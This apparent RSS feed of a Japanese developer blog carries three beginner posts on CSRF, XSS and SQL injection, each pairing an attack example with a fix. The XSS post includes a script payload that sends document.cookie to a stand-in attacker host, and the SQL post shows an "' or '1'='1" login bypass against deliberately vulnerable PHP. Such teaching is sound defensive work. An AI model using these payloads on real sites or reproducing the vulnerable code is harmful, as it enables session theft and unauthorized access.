セキュリティ | POPWEB https://blog.popweb.dev Developer, Blogger, Illustrator in Tokyo. Sat, 13 Feb 2021 03:21:08 +0000 ja hourly 1 https://wordpress.org/?v=6.7.6 https://storage.googleapis.com/gcs.pop-web.net/2021/01/favicon.ico セキュリティ | POPWEB https://blog.popweb.dev 32 32 クロスサイトリクエストフォージェリ(CSRF)とは?攻撃手法と対策 https://blog.popweb.dev/programming/csrf/ https://blog.popweb.dev/programming/csrf/#respond Tue, 25 Feb 2020 10:39:00 +0000 https://blog.pop-web.net/?p=706 Webアプリケーション側の脆弱性を利用した攻撃方法。この攻撃はWebアプリケーションとは他のサイトからの不正リクエストを処理してしまう。 目次 攻撃手法の例対策方法 攻撃手法の例 クロスサイトリクエストフォージェリ(CS […]

The post クロスサイトリクエストフォージェリ(CSRF)とは?攻撃手法と対策 first appeared on POPWEB.]]>
Webアプリケーション側の脆弱性を利用した攻撃方法。この攻撃はWebアプリケーションとは他のサイトからの不正リクエストを処理してしまう。

攻撃手法の例

クロスサイトリクエストフォージェリ(CSRF)は、まず攻撃者は事前に攻撃用スクリプトが組み込まれた攻撃用サイトを用意する。

攻撃用スクリプトは掲示板などの攻撃対象サーバへ不正リクエストを送信するようになっている。

そして、ユーザーをこの攻撃用サイトへ誘導するようなURLリンクをサイトやメールに設置する。

ユーザーがそのURLリンクをクリックすることで、攻撃用スクリプトが実行され攻撃対象サーバの掲示板などに書き込みが行われる。

このように攻撃者はユーザを踏み台として攻撃対象サーバを攻撃するため、ユーザーが攻撃者として判断されてしまうことがある。

対策方法

対策方法として、送信側の送信フォームが自分のサーバで生成されてものかを確認すればよい。

まず、Webアプリケーション側の自分サーバでフォームを生成して表示する際に、ワンタイムトークンをランダムな文字列を生成する。

そして、ワンタイムトークンはフォーム表示の際にinputタグのhiddenに記述して埋め込んでおく。

<input type="hidden" name="token" value="{ワンタイムトークン}" />

サーバへ送信する際にこのhidddenのワンタイムトークンの値も送信され、受け取ったサーバ側でそのトークンが自分のサーバで生成されたトークンかチェックする。

こうすることで、正しいワンタイムトークンを持っていないフォームから送信は拒否することができる。

The post クロスサイトリクエストフォージェリ(CSRF)とは?攻撃手法と対策 first appeared on POPWEB.]]>
https://blog.popweb.dev/programming/csrf/feed/ 0
クロスサイトスクリプティング(XSS)とは?攻撃手法と対策(PHP例) https://blog.popweb.dev/programming/xss/ https://blog.popweb.dev/programming/xss/#respond Mon, 24 Feb 2020 07:09:00 +0000 https://blog.pop-web.net/?p=693 クロスサイトスクリプティング(XSS)は、HTMLの中に悪意のあるJavaScriptのソースコードを埋め込んでスクリプトを実行すること。 この悪意のあるスクリプト実行されることで、Webページの情報の改竄やクッキー情報 […]

The post クロスサイトスクリプティング(XSS)とは?攻撃手法と対策(PHP例) first appeared on POPWEB.]]>
クロスサイトスクリプティング(XSS)は、HTMLの中に悪意のあるJavaScriptのソースコードを埋め込んでスクリプトを実行すること。

この悪意のあるスクリプト実行されることで、Webページの情報の改竄やクッキー情報が盗まれて個人情報流出といったことが起こる。

攻撃手法の例

クロスサイトスクリプティング(XSS)は、Webページにあるフォームに入力された文字列がそのままHTMLへ出力されるようなサイトが標的になる。

以下のような登録画面から入力内容を確認する確認画面(confirm.php)へ遷移するアプリケーションがあったとする。

・create.php(登録画面)

<h1>登録画面</h1>
<form action="/confirm" method="post">
  <input type="text" name="item">
  <input type="submit" value="確認画面へ">
</form>

・confirm.php(確認画面)

<h1>確認画面</h1>
登録内容:<?php echo $item; ?>

このアプリケーション場合、登録画面で入力した内容がそのまま確認画面へ出力される。

このフォームへ以下の悪意のあるコードを入力したとする。

"><script>document.location='http://example.blog.pop-web.net?'+document.cookie;</script>

そうすると、document.locationで指定された攻撃者のサイトへリダイレクトされ、そのURLパラメータにクッキー情報が含まれてしまい、個人情報などが盗まれてしまう。

また、XSSはセッションハイジャックの被害にも繋がる。

対策方法

クロスサイトスクリプティング(XSS)の対策としては、HTMLへ出力する際にサニタイズすること。

サニタイズとは無害化することで、HTML特殊文字をエスケープしてくれる。

例えば、「<」「>」といった文字列を「&lt;」「&gt;」へ変換してJavaScriptコードが処理されてないようにしてくれる。

PHPだとサニタイズする関数としてhtmlspecialchars関数がある。使い方はhtmlspecialchars関数の引数にサニタイズしたい文字列をいれるだけ。

さっきのconfirm.phpだと、以下のように修正される。

<h1>確認画面</h1>
登録内容:<?php echo htmlspecialchars($item,ENT_QUOTES); ?>

こうすることでJavaScriptのコードをフォームに入力して、それを出力しても、ブラウザ上ではただの文字列として表示されることなる。

ちなみに、第二引数の「ENT_QUOTES」はシングルクオートとダブルクオート共に変換するという指定。一般的に「ENT_QUOTES」が使われることが多い。

The post クロスサイトスクリプティング(XSS)とは?攻撃手法と対策(PHP例) first appeared on POPWEB.]]>
https://blog.popweb.dev/programming/xss/feed/ 0
SQLインジェクションとは?攻撃手法と対策(PHP例) https://blog.popweb.dev/programming/sql-injection/ https://blog.popweb.dev/programming/sql-injection/#respond Sun, 23 Feb 2020 10:38:00 +0000 https://blog.pop-web.net/?p=682 SQLインジェクションとは、Webアプリケーションに対する攻撃方法のこと。 まず、攻撃者はWebアプリケーションの入力フォームといったインターフェース利用する。 そして、入力フォームにSQL文を入力し組み込むことでアプリ […]

The post SQLインジェクションとは?攻撃手法と対策(PHP例) first appeared on POPWEB.]]>
SQLインジェクションとは、Webアプリケーションに対する攻撃方法のこと。

まず、攻撃者はWebアプリケーションの入力フォームといったインターフェース利用する。

そして、入力フォームにSQL文を入力し組み込むことでアプリケーション側では意図としないSQL文が生成されて、情報の不正取得や改竄を行われてしまう。

攻撃手法の例

以下のようなログイン入力フォームがあるとする。

そして、ログイン認証処理のSQL文が以下になっていたとする。

"SELECT * FROM users WHERE email='" . $email . "' AND password='" . $pass . "'"

このフォームにメールアドレスに適当な文字列、パスワード入力フォームに「’ or ‘1’=’1」を入力して実行すると以下のようなSQL文が組み立てられることとなる。

"SELECT * FROM users WHERE email='test' AND password='' or '1'='1'"

WHERE句に最後に「or ‘1’=’1’」に追加されることとなり、SQLの実行結果としてテーブルのすべてのレコードが取得できる。

仮に、レコードが取得できればログインできるようなロジック処理になっていればユーザ名とパスワードが不明でもログインできてしまうことになる。

対策方法

対策方法として、プリペアード・ステートメント(Prepared Statement)の利用がある。

プリペアード・ステートメントは、WHERE句でユーザー入力によって変化する部分をプレースフォルダにしてSQL文を用意しておき、その後にプレースフォルダ部分を差し替える方法。

こうすることで、事前にプレースフォルダを割り当てて用意したSQL文の構造をあとから変更することができないようになり、SQLインジェクションの対策となる。

以下、PHPの場合の例

$stmt = $db->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(array(':id' => $id));

「:id」の部分がプレースフォルダとなっている。そしてexecuteでクエリ実行の際に引数としてプレースフォルダと値をバインドする。

The post SQLインジェクションとは?攻撃手法と対策(PHP例) first appeared on POPWEB.]]>
https://blog.popweb.dev/programming/sql-injection/feed/ 0